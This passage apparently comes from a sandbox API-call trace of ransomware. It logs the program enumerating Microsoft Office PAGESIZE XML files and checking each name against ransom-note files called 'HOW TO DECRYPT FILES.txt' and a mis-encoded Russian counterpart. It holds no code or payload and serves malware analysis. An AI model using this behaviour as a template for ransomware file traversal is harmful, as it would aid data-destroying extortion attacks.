ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PGLBL026.XML") returned -1 [0066.414] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PGLBL026.XML") returned -1 [0066.414] lstrcmpiA (lpString1="", lpString2="PGLBL026.XML") returned -1 [0066.414] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL022.XML") returned="PGLBL022.XML" [0066.414] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54389200, ftCreationTime.dwHighDateTime=0x1c9f606, ftLastAccessTime.dwLowDateTime=0x5a340bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54389200, ftLastWriteTime.dwHighDateTime=0x1c9f606, nFileSizeHigh=0x0, nFileSizeLow=0x6d7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL027.XML", cAlternateFileName="")) returned 1 [0066.414] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.414] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PGLBL027.XML") returned -1 [0066.414] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PGLBL027.XML") returned -1 [0066.414] lstrcmpiA (lpString1="", lpString2="PGLBL027.XML") returned -1 [0066.414] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL026.XML") returned="PGLBL026.XML" [0066.415] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b28800, ftCreationTime.dwHighDateTime=0x1c9e3fe, ftLastAccessTime.dwLowDateTime=0x6cdfd4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b28800, ftLastWriteTime.dwHighDateTime=0x1c9e3fe, nFileSizeHigh=0x0, nFileSizeLow=0x266a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL044.XML", cAlternateFileName="")) returned 1 [0066.415] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.415] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PGLBL044.XML") returned -1 [0066.415] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PGLBL044.XML") returned -1 [0066.415] lstrcmpiA (lpString1="", lpString2="PGLBL044.XML") returned -1 [0066.415] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL027.XML") returned="PGLBL027.XML" [0066.415] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x187aa500, ftCreationTime.dwHighDateTime=0x1c9fe1c, ftLastAccessTime.dwLowDateTime=0x5a366d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x187aa500, ftLastWriteTime.dwHighDateTime=0x1c9fe1c, nFileSizeHigh=0x0, nFileSizeLow=0x10e590, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL048.XML", cAlternateFileName="")) returned 1 [0066.415] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.415] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PGLBL048.XML") returned -1 [0066.415] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PGLBL048.XML") returned -1 [0066.415] lstrcmpiA (lpString1="", lpString2="PGLBL048.XML") returned -1 [0066.415] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL044.XML") returned="PGLBL044.XML" [0066.416] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf22b5d00, ftCreationTime.dwHighDateTime=0x1c9f604, ftLastAccessTime.dwLowDateTime=0x5a366d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf22b5d00, ftLastWriteTime.dwHighDateTime=0x1c9f604, nFileSizeHigh=0x0, nFileSizeLow=0x59f76, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL054.XML", cAlternateFileName="")) returned 1 [0066.416] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.416] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PGLBL054.XML") returned -1 [0066.416] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PGLBL054.XML") returned -1 [0066.416] lstrcmpiA (lpString1="", lpString2="PGLBL054.XML") returned -1 [0066.416] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL048.XML") returned="PGLBL048.XML" [0066.416] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecc9300, ftCreationTime.dwHighDateTime=0x1c6b6bd, ftLastAccessTime.dwLowDateTime=0x5a366d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xecc9300, ftLastWriteTime.dwHighDateTime=0x1c6b6bd, nFileSizeHigh=0x0, nFileSizeLow=0x26c44, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL058.XML", cAlternateFileName="")) returned 1 [0066.416] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.416] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PGLBL058.XML") returned -1 [0066.416] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PGLBL058.XML") returned -1 [0066.416] lstrcmpiA (lpString1="", lpString2="PGLBL058.XML") returned -1 [0066.416] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL054.XML") returned="PGLBL054.XML" [0066.417] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cc7d000, ftCreationTime.dwHighDateTime=0x1c68eef, ftLastAccessTime.dwLowDateTime=0x5a38ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cc7d000, ftLastWriteTime.dwHighDateTime=0x1c68eef, nFileSizeHigh=0x0, nFileSizeLow=0x165d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL065.XML", cAlternateFileName="")) returned 1 [0066.417] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.417] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PGLBL065.XML") returned -1 [0066.417] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PGLBL065.XML") returned -1 [0066.417] lstrcmpiA (lpString1="", lpString2="PGLBL065.XML") returned -1 [0066.417] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL058.XML") returned="PGLBL058.XML" [0066.417] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x902d7600, ftCreationTime.dwHighDateTime=0x1c69abe, ftLastAccessTime.dwLowDateTime=0x6cdfd4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x902d7600, ftLastWriteTime.dwHighDateTime=0x1c69abe, nFileSizeHigh=0x0, nFileSizeLow=0xacb30, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL075.XML", cAlternateFileName="")) returned 1 [0066.417] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.417] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PGLBL075.XML") returned -1 [0066.417] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PGLBL075.XML") returned -1 [0066.417] lstrcmpiA (lpString1="", lpString2="PGLBL075.XML") returned -1 [0066.417] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL065.XML") returned="PGLBL065.XML" [0066.417] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbcd1600, ftCreationTime.dwHighDateTime=0x1c6c538, ftLastAccessTime.dwLowDateTime=0x6ce23630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfbcd1600, ftLastWriteTime.dwHighDateTime=0x1c6c538, nFileSizeHigh=0x0, nFileSizeLow=0x6134, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL077.XML", cAlternateFileName="")) returned 1 [0066.418] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.418] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PGLBL077.XML") returned -1 [0066.418] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PGLBL077.XML") returned -1 [0066.418] lstrcmpiA (lpString1="", lpString2="PGLBL077.XML") returned -1 [0066.418] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL075.XML") returned="PGLBL075.XML" [0066.418] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe756a100, ftCreationTime.dwHighDateTime=0x1c6beda, ftLastAccessTime.dwLowDateTime=0x6ce23630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe756a100, ftLastWriteTime.dwHighDateTime=0x1c6beda, nFileSizeHigh=0x0, nFileSizeLow=0x753, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL078.XML", cAlternateFileName="")) returned 1 [0066.418] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.418] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PGLBL078.XML") returned -1 [0066.418] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PGLBL078.XML") returned -1 [0066.418] lstrcmpiA (lpString1="", lpString2="PGLBL078.XML") returned -1 [0066.418] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL077.XML") returned="PGLBL077.XML" [0066.418] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91fe6500, ftCreationTime.dwHighDateTime=0x1ca1b37, ftLastAccessTime.dwLowDateTime=0x6ce23630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x91fe6500, ftLastWriteTime.dwHighDateTime=0x1ca1b37, nFileSizeHigh=0x0, nFileSizeLow=0xe944e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL081.XML", cAlternateFileName="")) returned 1 [0066.418] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.418] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PGLBL081.XML") returned -1 [0066.419] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PGLBL081.XML") returned -1 [0066.419] lstrcmpiA (lpString1="", lpString2="PGLBL081.XML") returned -1 [0066.419] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL078.XML") returned="PGLBL078.XML" [0066.419] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67337900, ftCreationTime.dwHighDateTime=0x1ca0b56, ftLastAccessTime.dwLowDateTime=0x5a38ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67337900, ftLastWriteTime.dwHighDateTime=0x1ca0b56, nFileSizeHigh=0x0, nFileSizeLow=0x38d3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL082.XML", cAlternateFileName="")) returned 1 [0066.419] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.419] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PGLBL082.XML") returned -1 [0066.419] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PGLBL082.XML") returned -1 [0066.419] lstrcmpiA (lpString1="", lpString2="PGLBL082.XML") returned -1 [0066.419] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL081.XML") returned="PGLBL081.XML" [0066.419] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf103000, ftCreationTime.dwHighDateTime=0x1ca25ea, ftLastAccessTime.dwLowDateTime=0x5a38ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf103000, ftLastWriteTime.dwHighDateTime=0x1ca25ea, nFileSizeHigh=0x0, nFileSizeLow=0x8cda, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL083.XML", cAlternateFileName="")) returned 1 [0066.419] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.420] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PGLBL083.XML") returned -1 [0066.420] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PGLBL083.XML") returned -1 [0066.420] lstrcmpiA (lpString1="", lpString2="PGLBL083.XML") returned -1 [0066.420] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL082.XML") returned="PGLBL082.XML" [0066.420] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9141f00, ftCreationTime.dwHighDateTime=0x1c6d896, ftLastAccessTime.dwLowDateTime=0x6ce23630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa9141f00, ftLastWriteTime.dwHighDateTime=0x1c6d896, nFileSizeHigh=0x0, nFileSizeLow=0xab732, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL086.XML", cAlternateFileName="")) returned 1 [0066.420] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.420] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PGLBL086.XML") returned -1 [0066.420] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PGLBL086.XML") returned -1 [0066.420] lstrcmpiA (lpString1="", lpString2="PGLBL086.XML") returned -1 [0066.420] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL083.XML") returned="PGLBL083.XML" [0066.420] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8d69800, ftCreationTime.dwHighDateTime=0x1c6bedf, ftLastAccessTime.dwLowDateTime=0x5a38ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe8d69800, ftLastWriteTime.dwHighDateTime=0x1c6bedf, nFileSizeHigh=0x0, nFileSizeLow=0x13d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL087.XML", cAlternateFileName="")) returned 1 [0066.420] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.420] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PGLBL087.XML") returned -1 [0066.420] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PGLBL087.XML") returned -1 [0066.421] lstrcmpiA (lpString1="", lpString2="PGLBL087.XML") returned -1 [0066.421] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL086.XML") returned="PGLBL086.XML" [0066.421] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe893cd00, ftCreationTime.dwHighDateTime=0x1ca0904, ftLastAccessTime.dwLowDateTime=0x6ce23630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe893cd00, ftLastWriteTime.dwHighDateTime=0x1ca0904, nFileSizeHigh=0x0, nFileSizeLow=0xb532, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL089.XML", cAlternateFileName="")) returned 1 [0066.421] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.421] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PGLBL089.XML") returned -1 [0066.421] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PGLBL089.XML") returned -1 [0066.421] lstrcmpiA (lpString1="", lpString2="PGLBL089.XML") returned -1 [0066.421] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL087.XML") returned="PGLBL087.XML" [0066.421] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a5c4800, ftCreationTime.dwHighDateTime=0x1c9fe1c, ftLastAccessTime.dwLowDateTime=0x6ce23630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2a5c4800, ftLastWriteTime.dwHighDateTime=0x1c9fe1c, nFileSizeHigh=0x0, nFileSizeLow=0x124b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL090.XML", cAlternateFileName="")) returned 1 [0066.421] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.421] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PGLBL090.XML") returned -1 [0066.421] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PGLBL090.XML") returned -1 [0066.421] lstrcmpiA (lpString1="", lpString2="PGLBL090.XML") returned -1 [0066.421] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL089.XML") returned="PGLBL089.XML" [0066.422] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4628f00, ftCreationTime.dwHighDateTime=0x1ca1b44, ftLastAccessTime.dwLowDateTime=0x6ce23630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc4628f00, ftLastWriteTime.dwHighDateTime=0x1ca1b44, nFileSizeHigh=0x0, nFileSizeLow=0x19a22, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL092.XML", cAlternateFileName="")) returned 1 [0066.422] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.422] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PGLBL092.XML") returned -1 [0066.422] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PGLBL092.XML") returned -1 [0066.422] lstrcmpiA (lpString1="", lpString2="PGLBL092.XML") returned -1 [0066.422] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL090.XML") returned="PGLBL090.XML" [0066.422] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x206de900, ftCreationTime.dwHighDateTime=0x1ca1b2e, ftLastAccessTime.dwLowDateTime=0x6ce23630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x206de900, ftLastWriteTime.dwHighDateTime=0x1ca1b2e, nFileSizeHigh=0x0, nFileSizeLow=0xb3da, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL093.XML", cAlternateFileName="")) returned 1 [0066.423] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.423] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PGLBL093.XML") returned -1 [0066.423] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PGLBL093.XML") returned -1 [0066.423] lstrcmpiA (lpString1="", lpString2="PGLBL093.XML") returned -1 [0066.423] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL092.XML") returned="PGLBL092.XML" [0066.423] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32b48300, ftCreationTime.dwHighDateTime=0x1c9fe1c, ftLastAccessTime.dwLowDateTime=0x6ce23630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x32b48300, ftLastWriteTime.dwHighDateTime=0x1c9fe1c, nFileSizeHigh=0x0, nFileSizeLow=0x1a1e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL095.XML", cAlternateFileName="")) returned 1 [0066.423] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.423] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PGLBL095.XML") returned -1 [0066.423] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PGLBL095.XML") returned -1 [0066.423] lstrcmpiA (lpString1="", lpString2="PGLBL095.XML") returned -1 [0066.423] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL093.XML") returned="PGLBL093.XML" [0066.423] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39db9100, ftCreationTime.dwHighDateTime=0x1c9fe1c, ftLastAccessTime.dwLowDateTime=0x5a38ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x39db9100, ftLastWriteTime.dwHighDateTime=0x1c9fe1c, nFileSizeHigh=0x0, nFileSizeLow=0x19ede, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL096.XML", cAlternateFileName="")) returned 1 [0066.423] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.423] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PGLBL096.XML") returned -1 [0066.423] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PGLBL096.XML") returned -1 [0066.423] lstrcmpiA (lpString1="", lpString2="PGLBL096.XML") returned -1 [0066.424] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL095.XML") returned="PGLBL095.XML" [0066.424] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f636100, ftCreationTime.dwHighDateTime=0x1c9ef1a, ftLastAccessTime.dwLowDateTime=0x5a38ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f636100, ftLastWriteTime.dwHighDateTime=0x1c9ef1a, nFileSizeHigh=0x0, nFileSizeLow=0x80ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL097.XML", cAlternateFileName="")) returned 1 [0066.424] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.424] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PGLBL097.XML") returned -1 [0066.424] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PGLBL097.XML") returned -1 [0066.424] lstrcmpiA (lpString1="", lpString2="PGLBL097.XML") returned -1 [0066.424] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL096.XML") returned="PGLBL096.XML" [0066.424] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c357500, ftCreationTime.dwHighDateTime=0x1c6d897, ftLastAccessTime.dwLowDateTime=0x6ce23630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2c357500, ftLastWriteTime.dwHighDateTime=0x1c6d897, nFileSizeHigh=0x0, nFileSizeLow=0xe730, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL102.XML", cAlternateFileName="")) returned 1 [0066.424] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 